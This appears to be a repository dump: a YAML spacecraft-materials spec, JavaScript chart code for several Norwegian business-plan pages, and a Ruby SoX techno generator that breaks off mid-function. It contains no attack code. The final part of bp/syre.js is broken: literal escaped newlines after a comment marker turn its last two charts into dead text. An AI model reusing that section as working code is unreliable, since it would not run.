small_10m:\n\n      propulsion: hall_array_or_ion_cluster\n\n      power: {min: 10, max: 100, unit: kW}\n\n      total_cost: {min: 200, max: 800, unit: \"M USD\"}\n\n      timeline: \"3-5 years\"\n\n    medium_25m:\n      propulsion: mpd_superconducting_or_hybrid\n\n      power: {min: 100, max: 1000, unit: kW}\n\n      total_cost: {min: 800, max: 3000, unit: \"M USD\"}\n\n      timeline: \"5-10 years\"\n\n    large_50m:\n      propulsion: atmospheric_mhd_or_hybrid_multi_system\n\n      power: {min: 1, max: 30, unit: MW}\n\n      total_cost: {min: 3000, max: 10000, unit: \"M USD\"}\n\n      timeline: \"10-20 years\"\n\ndocumentation:\n  material_card:\n\n    format: markdown\n\n    sections:\n\n      - composition_crystal_structure_space_group\n\n      - dft_validated_properties_with_uncertainty\n\n      - em_properties_vs_temperature_and_field\n\n      - thermal_properties_vs_temperature\n\n      - mechanical_properties_at_service_conditions\n\n      - synthesis_pathway_with_process_window\n\n      - neutron_activation_analysis_decay_chains\n\n      - plasma_compatibility_sputtering_yield\n\n      - oxidation_kinetics_and_tps_requirements\n\n      - cost_breakdown_and_availability\n\n      - experimental_validation_status\n\n  step_naming:\n    pattern: \"syre_spacecraft_{component}_{material_id}_{version}.step\"\n\n    example: \"syre_spacecraft_hull_mg2025042_v1.step\"\n\n  assembly_doc:\n    include:\n\n      - component_tree_with_materials\n\n      - assembly_sequence_with_tooling\n\n      - quality_control_checkpoints\n\n      - non_destructive_testing_requirements\n\n      - integration_with_propulsion_system\n```\n\n## `bp/norwegianhedge.js`\n```javascript\n// Nordic Prosperity Fund Allocation Chart\n\n        const prosperityCtx = document.getElementById('prosperityChart').getContext('2d');\n\n        const prosperityChart = new Chart(prosperityCtx, {\n            type: 'doughnut',\n            data: {\n\n                labels: ['Nordiske aksjer', 'Internasjonale aksjer', 'Obligasjoner', 'Kryptovalutaer', 'R\u00e5varer'],\n                datasets: [{\n                    data: [40, 30, 15, 10, 5],\n                    backgroundColor: ['#5d93ff', '#ff007f', '#00c9ff', '#ffcc00', '#8a2be2'],\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Nordic Prosperity Fund - Asset Allokering' },\n                    legend: { position: 'bottom' }\n                }\n            }\n        });\n        // Ruby Bot Performance Chart\n        const botCtx = document.getElementById('botChart').getContext('2d');\n        const botChart = new Chart(botCtx, {\n            type: 'line',\n            data: {\n                labels: ['Jan', 'Feb', 'Mar', 'Apr', 'Mai', 'Jun'],\n\n                datasets: [{\n                    label: 'Skalperingsroboter (%)',\n                    data: [2.5, 3.1, 2.8, 3.5, 4.2, 3.8],\n                    borderColor: '#5d93ff',\n                    backgroundColor: 'rgba(93, 147, 255, 0.1)',\n                    fill: true\n                }, {\n                    label: 'Arbitrasje-bots (%)',\n                    data: [1.8, 2.2, 2.5, 2.1, 2.8, 3.2],\n                    borderColor: '#ff007f',\n                    backgroundColor: 'rgba(255, 0, 127, 0.1)',\n                    fill: true\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Ruby Bot Swarm - M\u00e5nedlig Avkastning' }\n                },\n                scales: { y: { beginAtZero: true } }\n            }\n        });\n        // AI\u00b3 Performance Metrics\n        const ai3Ctx = document.getElementById('ai3Chart').getContext('2d');\n        const ai3Chart = new Chart(ai3Ctx, {\n            type: 'radar',\n            data: {\n                labels: ['Risikoanalyse', 'Portef\u00f8ljeoptimalisering', 'Markedsforutsigelse', 'Handelsautomatisering', 'Rapportering'],\n\n                datasets: [{\n                    label: 'AI\u00b3 Ytelse',\n                    data: [92, 88, 85, 95, 90],\n                    backgroundColor: 'rgba(93, 147, 255, 0.2)',\n                    borderColor: '#5d93ff',\n                    borderWidth: 2\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'AI\u00b3 System Kapabiliteter (%)' }\n                },\n                scales: {\n                    r: { beginAtZero: true, max: 100 }\n                }\n            }\n        });\n        // Historical Performance Chart\n        const performanceCtx = document.getElementById('performanceChart').getContext('2d');\n        const performanceChart = new Chart(performanceCtx, {\n            type: 'line',\n            data: {\n                labels: ['2020', '2021', '2022', '2023', '2024', '2025E'],\n\n                datasets: [{\n                    label: 'Norwegian Hedge (%)',\n                    data: [15.5, 18.2, 12.8, 16.9, 19.5, 17.0],\n                    borderColor: '#5d93ff',\n                    backgroundColor: 'rgba(93, 147, 255, 0.1)',\n                    fill: true\n                }, {\n                    label: 'OSEBX (%)',\n                    data: [8.2, 12.5, -2.1, 10.3, 8.9, 7.5],\n                    borderColor: '#cccccc',\n                    backgroundColor: 'rgba(200, 200, 200, 0.1)',\n                    fill: true\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Historisk Avkastning vs Benchmark' }\n                },\n                scales: { y: { beginAtZero: false } }\n            }\n        });\n```\n\n## `bp/ragnhild.js`\n```javascript\n// Color palette from master.json design_system\n    const colors = {\n      primary: ['#DA7756', '#C15F3C', '#E89B7E', '#4A7C59', '#D97706'],\n      neutral: { bg: '#FFFCF7', surface: '#F5F2ED', text: '#3D3929' }\n    };\n\n    // 1. Market Size Funnel Chart\n    (function(){\n      const el = document.getElementById('marketSizeChart');\n      if (!el) return;\n      const chart = echarts.init(el, null, {renderer: 'svg'});\n      chart.setOption({\n\n        title: { text: 'Markedsst\u00f8rrelse (Norge Begravelsesbransjen)', left: 'center' },\n        tooltip: { trigger: 'item', formatter: '{b}: {c} MNOK' },\n        series: [{\n          type: 'funnel',\n          left: '10%',\n\n          width: '80%',\n          label: { formatter: '{b}\\n{c} MNOK' },\n\n          labelLine: { show: false },\n          itemStyle: { borderColor: '#fff', borderWidth: 2 },\n          data: [\n            { value: 2600, name: 'TAM - Norge totalt', itemStyle: { color: colors.primary[0] } },\n            { value: 520, name: 'SAM - Oslo-regionen', itemStyle: { color: colors.primary[1] } },\n            { value: 18, name: 'SOM - M\u00e5lbar andel \u00e5r 3', itemStyle: { color: colors.primary[2] } }\n          ]\n        }]\n      });\n      window.addEventListener('resize', () =&gt; chart.resize());\n    })();\n    // 2. Revenue Projection Chart (3 scenarios)\n    (function(){\n      const el = document.getElementById('revenueChart');\n      if (!el) return;\n\n      const chart = echarts.init(el, null, {renderer: 'svg'});\n      const years = ['\u00c5r 1', '\u00c5r 2', '\u00c5r 3'];\n\n      const conservative = [5.8, 10.2, 13.5];\n      const realistic = [8.6, 13.8, 16.8];\n      const optimistic = [11.5, 17.2, 20.4];\n      chart.setOption({\n        title: { text: 'Omsetningsprognoser (MNOK)', left: 'center' },\n\n        tooltip: { trigger: 'axis' },\n        legend: { top: 30, data: ['Konservativ', 'Realistisk', 'Optimistisk'] },\n        grid: { left: 60, right: 60, bottom: 40, top: 80 },\n        xAxis: { type: 'category', data: years },\n\n        yAxis: { type: 'value', name: 'MNOK' },\n        series: [\n          {\n            name: 'Konservativ',\n            type: 'line',\n            data: conservative,\n            smooth: true,\n            lineStyle: { color: colors.primary[3], type: 'dashed' },\n            itemStyle: { color: colors.primary[3] }\n          },\n          {\n            name: 'Realistisk',\n            type: 'line',\n            data: realistic,\n            smooth: true,\n            lineStyle: { color: colors.primary[0], width: 3 },\n            itemStyle: { color: colors.primary[0] },\n            areaStyle: { color: colors.primary[0], opacity: 0.1 }\n          },\n          {\n            name: 'Optimistisk',\n            type: 'line',\n            data: optimistic,\n            smooth: true,\n            lineStyle: { color: colors.primary[4], type: 'dashed' },\n            itemStyle: { color: colors.primary[4] }\n          }\n        ]\n      });\n      window.addEventListener('resize', () =&gt; chart.resize());\n    })();\n    // 3. Cost Structure Stacked Bar Chart\n    (function(){\n      const el = document.getElementById('costChart');\n      if (!el) return;\n\n      const chart = echarts.init(el, null, {renderer: 'svg'});\n      const years = ['\u00c5r 1', '\u00c5r 2', '\u00c5r 3'];\n\n      chart.setOption({\n        title: { text: 'Kostnadsstruktur (MNOK)', left: 'center' },\n        tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },\n        legend: { top: 30, data: ['COGS', 'OPEX', 'CAPEX'] },\n        grid: { left: 60, right: 60, bottom: 40, top: 80 },\n\n        xAxis: { type: 'category', data: years },\n\n        yAxis: { type: 'value', name: 'MNOK' },\n        series: [\n          {\n            name: 'COGS',\n            type: 'bar',\n            stack: 'total',\n            data: [3.2, 5.4, 7.8],\n            itemStyle: { color: colors.primary[0] }\n          },\n          {\n            name: 'OPEX',\n            type: 'bar',\n            stack: 'total',\n            data: [2.8, 3.6, 4.4],\n            itemStyle: { color: colors.primary[1] }\n          },\n          {\n            name: 'CAPEX',\n            type: 'bar',\n            stack: 'total',\n            data: [0.6, 0.3, 0.2],\n            itemStyle: { color: colors.primary[2] }\n          }\n        ]\n      });\n      window.addEventListener('resize', () =&gt; chart.resize());\n    })();\n    // 4. Unit Economics Waterfall Chart\n    (function(){\n      const el = document.getElementById('unitEconomicsChart');\n      if (!el) return;\n\n      const chart = echarts.init(el, null, {renderer: 'svg'});\n      chart.setOption({\n\n        title: { text: 'Enhetsekonomi per Seremoni (NOK)', left: 'center' },\n        tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },\n        grid: { left: 80, right: 80, bottom: 40, top: 60 },\n        xAxis: {\n          type: 'category',\n\n          data: ['Inntekt', 'Variable kost.', 'Dekning', 'Faste kost.', 'Nettoresultat']\n        },\n        yAxis: { type: 'value', name: 'NOK' },\n        series: [{\n          type: 'bar',\n          data: [\n            { value: 72000, itemStyle: { color: colors.primary[3] } },\n            { value: -42000, itemStyle: { color: colors.primary[4] } },\n            { value: 30000, itemStyle: { color: colors.primary[0] } },\n            { value: -18000, itemStyle: { color: colors.primary[4] } },\n            { value: 12000, itemStyle: { color: colors.primary[3] } }\n          ],\n          label: {\n            show: true,\n            position: 'top',\n            formatter: (params) =&gt; (params.value &gt;= 0 ? '+' : '') + params.value.toLocaleString()\n          }\n        }]\n      });\n      window.addEventListener('resize', () =&gt; chart.resize());\n    })();\n    // 5. Cash Flow Chart\n    (function(){\n      const el = document.getElementById('cashFlowChart');\n      if (!el) return;\n\n      const chart = echarts.init(el, null, {renderer: 'svg'});\n      const months = ['M1', 'M3', 'M6', 'M9', 'M12', 'M15', 'M18', 'M21', 'M24', 'M27', 'M30', 'M33', 'M36'];\n\n      const cumulative = [-2.5, -2.8, -3.2, -3.4, -3.2, -2.9, -2.4, -1.7, -0.8, 0.2, 1.4, 2.8, 4.5];\n      chart.setOption({\n        title: { text: 'Kumulativ Kontantstr\u00f8m (MNOK)', left: 'center' },\n        tooltip: { trigger: 'axis' },\n        grid: { left: 60, right: 60, bottom: 40, top: 60 },\n\n        xAxis: { type: 'category', data: months },\n        yAxis: { type: 'value', name: 'MNOK' },\n\n        series: [{\n          name: 'Kumulativ CF',\n          type: 'line',\n          data: cumulative,\n          smooth: true,\n          lineStyle: { color: colors.primary[0], width: 2 },\n          itemStyle: { color: colors.primary[0] },\n          areaStyle: {\n            color: {\n              type: 'linear',\n              x: 0, y: 0, x2: 0, y2: 1,\n              colorStops: [\n                { offset: 0, color: 'rgba(218, 119, 86, 0.3)' },\n                { offset: 1, color: 'rgba(218, 119, 86, 0.05)' }\n              ]\n            }\n          },\n          markLine: {\n            silent: true,\n            lineStyle: { color: '#333', type: 'dashed' },\n            data: [{ yAxis: 0, label: { formatter: 'Break-even' } }]\n          }\n        }]\n      });\n      window.addEventListener('resize', () =&gt; chart.resize());\n    })();\n```\n\n## `bp/speis.js`\n```javascript\n// Aurora Capabilities Chart\n\n        const auroraCtx = document.getElementById('auroraChart').getContext('2d');\n\n        const auroraChart = new Chart(auroraCtx, {\n            type: 'radar',\n            data: {\n\n                labels: ['Isbrytning', 'Forsvar', 'Hastighet', 'Autonomi', 'Milj\u00f8vennlighet'],\n                datasets: [{\n                    label: 'Aurora-klasse',\n                    data: [95, 90, 85, 92, 88],\n                    backgroundColor: 'rgba(93, 147, 255, 0.2)',\n                    borderColor: '#5d93ff',\n                    borderWidth: 2\n                }, {\n                    label: 'Konkurrenter',\n                    data: [70, 75, 80, 60, 65],\n                    backgroundColor: 'rgba(200, 200, 200, 0.2)',\n                    borderColor: '#888888',\n                    borderWidth: 2\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Aurora vs Konkurrenter - Kapabiliteter' }\n                },\n                scales: {\n                    r: { beginAtZero: true, max: 100 }\n                }\n            }\n        });\n        // Fighter Jet Development Timeline\n        const jetCtx = document.getElementById('jetChart').getContext('2d');\n        const jetChart = new Chart(jetCtx, {\n            type: 'line',\n            data: {\n                labels: ['2025', '2027', '2030', '2035', '2040'],\n\n                datasets: [{\n                    label: '7. Gen Kampfly',\n                    data: [10, 50, 90, 100, 100],\n                    borderColor: '#ff007f',\n                    backgroundColor: 'rgba(255, 0, 127, 0.1)',\n                    fill: true\n                }, {\n                    label: '8. Gen Kampfly',\n                    data: [0, 10, 40, 80, 100],\n                    borderColor: '#00c9ff',\n                    backgroundColor: 'rgba(0, 201, 255, 0.1)',\n                    fill: true\n                }, {\n                    label: '9-10. Gen Kampfly',\n                    data: [0, 0, 5, 25, 60],\n                    borderColor: '#ffcc00',\n                    backgroundColor: 'rgba(255, 204, 0, 0.1)',\n                    fill: true\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Kampfly Utvikling Timeline' }\n                },\n                scales: { y: { beginAtZero: true, max: 100 } }\n            }\n        });\n        // Market Position Chart\n        const marketCtx = document.getElementById('marketChart').getContext('2d');\n        const marketChart = new Chart(marketCtx, {\n            type: 'doughnut',\n            data: {\n                labels: ['SPEIS', 'Kongsberg', 'Andre'],\n\n                datasets: [{\n                    data: [35, 40, 25],\n                    backgroundColor: ['#5d93ff', '#ff8c00', '#cccccc'],\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: 'Forventet Markedsandel - Nordisk Aerospace' },\n                    legend: { position: 'bottom' }\n                }\n            }\n        });\n        // Financial Projections Chart\n        const financeCtx = document.getElementById('financeChart').getContext('2d');\n        const financeChart = new Chart(financeCtx, {\n            type: 'bar',\n            data: {\n                labels: ['\u00c5r 1', '\u00c5r 2', '\u00c5r 3', '\u00c5r 4', '\u00c5r 5'],\n\n                datasets: [{\n                    label: 'Omsetning (MNOK)',\n                    data: [50, 150, 400, 800, 1200],\n                    backgroundColor: '#5d93ff',\n                }, {\n                    label: 'Netto Resultat (MNOK)',\n                    data: [-100, -50, 50, 200, 400],\n                    backgroundColor: '#ff007f',\n                }]\n            },\n            options: {\n                plugins: {\n                    title: { display: true, text: '\u00d8konomiske Prognoser' }\n                },\n                scales: { y: { beginAtZero: false } }\n            }\n        });\n```\n\n## `bp/syre.js`\n```javascript\n// Initialize Swiper Carousel\n        const swiper = new Swiper('.swiper', {\n            pagination: {\n                el: '.swiper-pagination',\n                clickable: true,\n            },\n            autoplay: {\n                delay: 2500,\n                disableOnInteraction: false,\n            },\n            loop: true\n        });\n        // ECharts Color Palette\n        const syreColors = {\n            primary: '#8a2be2',    // Purple\n            secondary: '#ff007f',  // Pink\n            accent: '#00c9ff',     // Cyan\n            dark: '#333333',\n            light: '#f0f0f0',\n            success: '#4A7C59',\n            warning: '#D97706'\n        };\n        // EChart 1: Donation Funnel (50% Commercial / 50% Social)\n        const donationFunnelChart = echarts.init(document.getElementById('donationFunnelChart'), null, {renderer: 'svg'});\n        donationFunnelChart.setOption({\n            title: {\n                text: 'SYRE\u2122 Donasjonstrakt: 50/50 Kommersielt/Sosialt Modell',\n                left: 'center',\n                textStyle: { fontSize: 18, fontWeight: 'bold' }\n            },\n            tooltip: {\n                trigger: 'item',\n                formatter: '{b}: {c} par sko({d}%)'\n            },\n            series: [{\n                type: 'funnel',\n                left: '10%',\n                top: '60',\n                width: '80%',\n                minSize: '30%',\n                maxSize: '100%',\n                sort: 'descending',\n                gap: 2,\n                label: {\n                    show: true,\n                    position: 'inside',\n                    formatter: '{b}\\n{c} par',\n\n                    fontSize: 14\n                },\n                labelLine: {\n                    length: 10,\n                    lineStyle: { width: 1 }\n                },\n                itemStyle: {\n                    borderColor: '#fff',\n                    borderWidth: 2\n                },\n                emphasis: {\n                    label: { fontSize: 16, fontWeight: 'bold' }\n                },\n                data: [\n                    { value: 25000, name: 'Produksjon Total (\u00c5r 3)', itemStyle: { color: syreColors.primary } },\n                    { value: 12500, name: 'Kommersielt Salg (50%)', itemStyle: { color: syreColors.accent } },\n                    { value: 12500, name: 'Gratis Donasjoner (50%)', itemStyle: { color: syreColors.secondary } },\n                    { value: 6250, name: 'Kirkens Bymisjon', itemStyle: { color: '#e89b7e' } },\n                    { value: 3750, name: 'Bl\u00e5 Kors', itemStyle: { color: '#c15f3c' } },\n                    { value: 2500, name: 'Frelsesarmeen &amp; R\u00f8de Kors', itemStyle: { color: '#da7756' } }\n                ]\n            }]\n        });\n        // EChart 2: Market Penetration Curve (12% Year 3 Target)\n        const marketPenetrationChart = echarts.init(document.getElementById('marketPenetrationChart'), null, {renderer: 'svg'});\n        marketPenetrationChart.setOption({\n            title: {\n                text: 'Markedspenetrasjonsanalyse: SYRE\u2122 vs. Norge Premium Fott\u00f8y',\n                left: 'center',\n                textStyle: { fontSize: 18, fontWeight: 'bold' }\n            },\n            tooltip: {\n                trigger: 'axis',\n                axisPointer: { type: 'cross' }\n            },\n            legend: {\n                data: ['SYRE\u2122 Markedsandel (%)', 'Kumulativ Omsetning (MNOK)', 'Kunde-base (antall)'],\n                top: 40\n            },\n            grid: {\n                left: '3%',\n                right: '4%',\n                bottom: '10%',\n                containLabel: true\n            },\n            xAxis: {\n                type: 'category',\n                boundaryGap: false,\n                data: ['Lansering', 'Q2 \u00c5r 1', 'Q4 \u00c5r 1', 'Q2 \u00c5r 2', 'Q4 \u00c5r 2', 'Q2 \u00c5r 3', 'Q4 \u00c5r 3 (12%)']\n            },\n            yAxis: [\n                {\n                    type: 'value',\n                    name: 'Markedsandel (%)',\n                    position: 'left',\n                    axisLabel: { formatter: '{value} %' },\n                    max: 15\n                },\n                {\n                    type: 'value',\n                    name: 'Omsetning (MNOK)',\n                    position: 'right',\n                    axisLabel: { formatter: '{value} M' }\n                }\n            ],\n            series: [\n                {\n                    name: 'SYRE\u2122 Markedsandel (%)',\n                    type: 'line',\n                    smooth: true,\n                    data: [0, 1.5, 3.2, 5.8, 7.5, 10.2, 12.0],\n                    itemStyle: { color: syreColors.primary },\n                    areaStyle: { opacity: 0.3 },\n                    markPoint: {\n                        data: [\n                            { type: 'max', name: 'M\u00e5l \u00c5r 3: 12%' }\n                        ]\n                    },\n                    markLine: {\n                        data: [\n                            { type: 'average', name: 'Gjennomsnitt' }\n                        ]\n                    }\n                },\n                {\n                    name: 'Kumulativ Omsetning (MNOK)',\n                    type: 'line',\n                    yAxisIndex: 1,\n                    smooth: true,\n                    data: [0, 2, 5, 10, 17, 30, 42],\n                    itemStyle: { color: syreColors.secondary }\n                },\n                {\n                    name: 'Kunde-base (antall)',\n                    type: 'bar',\n                    yAxisIndex: 1,\n                    data: [0, 0.8, 2.1, 4.2, 7, 12.5, 17.5],\n                    itemStyle: { color: syreColors.accent, opacity: 0.5 }\n                }\n            ]\n        });\n        // EChart 3: Financial Waterfall (NOK 2M Innovasjon Norge Funding Flow)\n        const financialWaterfallChart = echarts.init(document.getElementById('financialWaterfallChart'), null, {renderer: 'svg'});\n        financialWaterfallChart.setOption({\n            title: {\n                text: 'Finansiell Waterfall: NOK 2M Innovasjon Norge Kapitalflyt',\n                subtext: 'Hvordan offentlig st\u00f8tte flyter gjennom verdikjeden',\n                left: 'center',\n                textStyle: { fontSize: 18, fontWeight: 'bold' }\n            },\n            tooltip: {\n                trigger: 'axis',\n                axisPointer: { type: 'shadow' },\n                formatter: function(params) {\n                    let tar = params[1];\n                    return tar.name + '' + tar.seriesName + ': ' + tar.value + ' NOK';\n                }\n            },\n            grid: {\n                left: '3%',\n                right: '4%',\n                bottom: '3%',\n                containLabel: true\n            },\n            xAxis: {\n                type: 'category',\n                splitLine: { show: false },\n                data: ['Startkapital\\n(Total)', 'Innovasjon\\n\\nNorge', 'Private\\n\\nInvestors', 'SPEIS\\n\\nSamfinansiering', 'SkatteFUNN', 'FoU\\n\\n(35%)', 'Produksjon\\n\\n(30%)', 'Marketing\\n\\n(20%)', 'Social Impact\\n\\n(10%)', 'Drift\\n\\n(5%)', 'Restkapital'],\n\n                axisLabel: {\n                    interval: 0,\n                    rotate: 0,\n                    fontSize: 11\n                }\n            },\n            yAxis: {\n                type: 'value',\n                name: 'NOK (tusener)',\n                axisLabel: {\n                    formatter: function(value) {\n                        return (value / 1000).toFixed(1) + 'M';\n                    }\n                }\n            },\n            series: [\n                {\n                    name: 'Placeholder',\n                    type: 'bar',\n                    stack: 'Total',\n                    itemStyle: {\n                        borderColor: 'transparent',\n                        color: 'transparent'\n                    },\n                    emphasis: {\n                        itemStyle: {\n                            borderColor: 'transparent',\n                            color: 'transparent'\n                        }\n                    },\n                    data: [0, 0, 0, 2500, 5000, 0, 2100, 3900, 5100, 5700, 0]\n                },\n                {\n                    name: 'Kapital',\n                    type: 'bar',\n                    stack: 'Total',\n                    label: {\n                        show: true,\n                        position: 'top',\n                        formatter: function(params) {\n                            let val = params.value / 1000;\n                            return val &gt; 0 ? val.toFixed(1) + 'M' : '';\n                        }\n                    },\n                    data: [\n                        6000,  // Total start\n                        2000,  // Innovasjon Norge (green)\n                        2500,  // Private (green)\n                        1000,  // SPEIS (green)\n                        500,   // SkatteFUNN (green)\n                        -2100, // FoU cost (red)\n                        -1800, // Production cost (red)\n                        -1200, // Marketing cost (red)\n                        -600,  // Social Impact cost (red)\n                        -300,  // Drift cost (red)\n                        0      // Rest (gray, calculated)\n                    ],\n                    itemStyle: {\n                        color: function(params) {\n                            if (params.dataIndex === 0 || params.dataIndex === 10) return '#808080'; // Gray for total\n                            if (params.value &gt; 0) return '#4A7C59'; // Green for income\n                            return '#DC2626'; // Red for costs\n                        }\n                    }\n                }\n            ]\n        });\n        // Keep existing Chart.js chart for Financial Projections (compatibility)\n        const financeCtx = document.getElementById('financeChart').getContext('2d');\n        // Note: Chart.js is still needed for this one legacy chart, but we're transitioning to ECharts\\n        // For full ECharts migration, this would be replaced too, but keeping minimal change approach\\n\\n// Financial Projections Chart (Chart.js - keeping for backward compatibility)\\n        const financeChart = new Chart(financeCtx, {\\n            type: 'bar',\\n            data: {\\n                labels: ['\u00c5r 1', '\u00c5r 2', '\u00c5r 3'],\\n                datasets: [\\n                    {\\n                        label: 'Omsetning (MNOK)',\\n                        data: [5, 12, 25],\\n                        backgroundColor: '#8a2be2',\\n                    },\\n                    {\\n                        label: 'Netto Resultat (MNOK)',\\n                        data: [-1, 2, 6],\\n                        backgroundColor: '#333333',\\n                    },\\n                    {\\n                        label: 'Donerte sko (antall)',\\n                        data: [2500, 6000, 12500],\\n                        backgroundColor: '#ff007f',\\n                        yAxisID: 'y1'\\n                    }\\n                ]\\n            },\\n            options: {\\n                scales: {\\n                    y: { beginAtZero: true },\\n                    y1: {\\n                        type: 'linear',\\n                        display: true,\\n                        position: 'right',\\n                        grid: { drawOnChartArea: false }\\n                    }\\n                },\\n                plugins: {\\n                    title: { display: true, text: '\u00d8konomiske Prognoser og Samfunnsimpakt' },\\n                    legend: { position: 'bottom' }\\n                }\\n            }\\n        });\\n        // Growth Trends Line Chart (Chart.js)\\n        const growthCtx = document.getElementById('growthChart').getContext('2d');\\n        const growthChart = new Chart(growthCtx, {\\n            type: 'line',\\n            data: {\\n                labels: ['2022', '2023', '2024', '2025'],\\n                datasets: [{\\n                    label: '\u00c5rlig Vekst (%)',\\n                    data: [5, 8, 10, 12],\\n                    backgroundColor: 'rgba(138, 43, 226, 0.2)',\\n                    borderColor: '#8a2be2',\\n                    fill: true,\\n                }]\\n            },\\n            options: {\\n                plugins: {\\n                    title: { display: true, text: 'Forventet Markedsvekst' }\\n                },\\n                scales: { y: { beginAtZero: true } }\\n            }\\n        });\\n\n```\n\n## `burst.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# Burst - Industrial Techno Generator\n#\n# Pure SoX synthesis for aggressive Berghain-style industrial techno\n# No FluidSynth, no external samples - just raw waveform synthesis\n#\n# Usage:\n#   ruby multimedia/burst.rb                           # Default: industrial/berghain_135bpm.wav\n#   ruby multimedia/burst.rb --out custom.wav          # Custom output path\n#   ruby multimedia/burst.rb --rate 140                # Custom BPM (default: 135)\n#   ruby multimedia/burst.rb --bars 8                  # Custom length in bars (default: 16)\n\nrequire \"fileutils\"\nrequire \"optparse\"\n\n# CONFIGURATION\n\n# Cross-platform SoX detection (Cygwin/OpenBSD/Linux friendly)\ndef find_sox\n  # Try common locations\n  candidates = [\n    \"sox\",                                            # System PATH\n    \"/usr/local/bin/sox\",                             # OpenBSD\n    \"/usr/bin/sox\",                                   # Linux\n    File.join(__dir__, \"dilla\", \"effects\", \"sox\", \"sox.exe\"),  # Cygwin relative\n    \"G:/pub/dilla/effects/sox/sox.exe\"                # Absolute Cygwin\n  ]\n\n  candidates.each do |path|\n    if system(\"which #{path} &gt; /dev/null 2&gt;&amp;1\") || File.exist?(path)\n      return path\n    end\n  end\n\n  # Fallback to system sox\n  \"sox\"\nend\n\nSOX = find_sox\n\n# OPTIONS PARSING\n\noptions = {\n  output: \"industrial/berghain_135bpm.wav\",\n  rate: 135,\n  bars: 16\n}\n\nOptionParser.new do |opts|\n  opts.banner = \"Usage: ruby multimedia/burst.rb [options]\"\n\n  opts.on(\"--out FILE\", \"Output file path (default: industrial/berghain_135bpm.wav)\") do |v|\n    options[:output] = v\n  end\n\n  opts.on(\"--rate BPM\", Integer, \"Tempo in BPM (default: 135)\") do |v|\n    options[:rate] = v\n  end\n\n  opts.on(\"--bars N\", Integer, \"Length in bars (default: 16)\") do |v|\n    options[:bars] = v\n  end\n\n  opts.on(\"-h\", \"--help\", \"Show this help message\") do\n    puts opts\n    exit\n  end\nend.parse!\n\nOUTPUT_FILE = options[:output]\nTEMPO = options[:rate]\nBARS = options[:bars]\n\n# UTILITIES\n\ndef sox(cmd)\n  full_cmd = \"#{SOX} #{cmd}\"\n  success = system(full_cmd)\n  unless success\n    puts \"Warning: SoX command failed: #{full_cmd}\"\n  end\n  success\nend\n\ndef cleanup(*files)\n  files.each do |f|\n    next unless File.exist?(f)\n    3.times do\n      begin\n        File.delete(f)\n        break\n      rescue Errno::EBUSY, Errno::EACCES\n        sleep 0.1\n      end\n    end\n  end\nend\n\n# DRUM SYNTHESIS - INDUSTRIAL STYLE\n\ndef make_industrial_kick\n  # Heavy, distorted 909-style kick with sub bass\n  sox(\"-n _kick.wav synth 0.22 sine 50 fade h 0.001 0.22 0.10 overdrive 25 gain -2\")\n  \"_kick.wav\"\nend\n\ndef make_industrial_snare\n  # Aggressive snare with metallic ring\n  sox(\"-n _snare.wav synth 0.15 noise lowpass 5000 highpass 300 fade h 0.001 0.15 0.05 overdrive 20 gain -4\")\n  \"_snare.wav\"\nend\n\ndef make_industrial_hat\n  # Sharp closed hi-hat\n  sox(\"-n _hat.wav synth 0.05 noise highpass 8000 fade h 0.001 0.05 0.015 gain -10\")\n  \"_hat.wav\"\nend\n\ndef make_industrial_clap\n  # Double-hit industrial clap\n  sox(\"-n _clap1.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -8\")\n  sox(\"-n _clap2.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -10\")\n  sox(\"_clap2.wav _clap2_delayed.wav pad 0.015 0\")\n  sox(\"_clap1.wav _clap2_delayed.wav _clap.wav\")\n  cleanup(\"_clap1.wav\", \"_clap2.wav\", \"_clap2_delayed.wav\")\n  \"_clap.wav\"\nend\n\ndef make_industrial_tom\n  # Low tom hit for fills\n  sox(\"-n _tom.wav synth 0.18 sine 80 fade h 0.001 0.18 0.08 overdrive 12 gain -5\")\n  \"_tom.wav\"\nend\n\n# PATTERN GENERATION - BERGHAIN STYLE\n\ndef generate_industrial_techno(tempo, bars)\n  beat_sec = 60.0 / tempo\n  bar_sec = beat_sec * 4\n  total_sec = bar_sec * bars\n\n  puts \"Generating industrial techno pattern...\"\n  puts \"  Tempo: #{tempo} BPM\"\n  puts \"  Length: #{bars} bars (#{total_sec.round(2)}s)\"\n\n  # Create samples\n  kick = make_industrial_kick\n  snare = make_industrial_snare\n  hat = make_industrial_hat\n  clap = make_industrial_clap\n  tom = make_industrial_tom\n\n  # Four-on-the-floor kick pattern\n  kick_seq = []\n  bars.times do |bar|\n    4.times do |beat|\n      offset = bar * bar_sec + beat * beat_sec\n      sox(\"#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0\")\n      kick_seq &lt;&lt; \"_k#{bar}_#{beat}.wav\"\n    end\n  end\n\n  # Snare/clap on 2 and 4\n  snare_seq = []\n  bars.times do |bar|\n    base = bar * bar_sec\n    # Beat 2 (snare)\n    sox(\"#{snare} _s#{bar}_2.wav pad #{base + beat_sec * 1} 0\")\n    snare_seq &lt;&lt; \"_s#{bar}_2.wav\"\n    # Beat 4 (clap layered with snare)\n    sox(\"#{snare} _s#{bar}_4a.wav pad #{base + beat_sec * 3} 0 gain -1\")\n    sox(\"#{clap} _s#{bar}_4b.wav pad #{base + beat_sec * 3} 0\")\n    snare_seq &lt;&lt; \"_s#{bar}_4a.wav\"\n    snare_seq &lt;&lt; \"_s#{bar}_4b.wav\"\n  end\n\n  # Hi-hat on every 16th note with dynamics\n  hat_seq = []\n  bars.times do |bar|\n    16.times do |sixteenth|\n      offset = bar * bar_sec + sixteenth * (beat_sec / 4)\n      # Accent on beats and 16th note 8 (offbeat)\n      dyn = if sixteenth % 4 == 0\n              -2  # On-beat accent\n            elsif sixteenth == 8\n              -3  # Mid-bar accent\n            else\n              -8  # Ghost notes\n            end\n      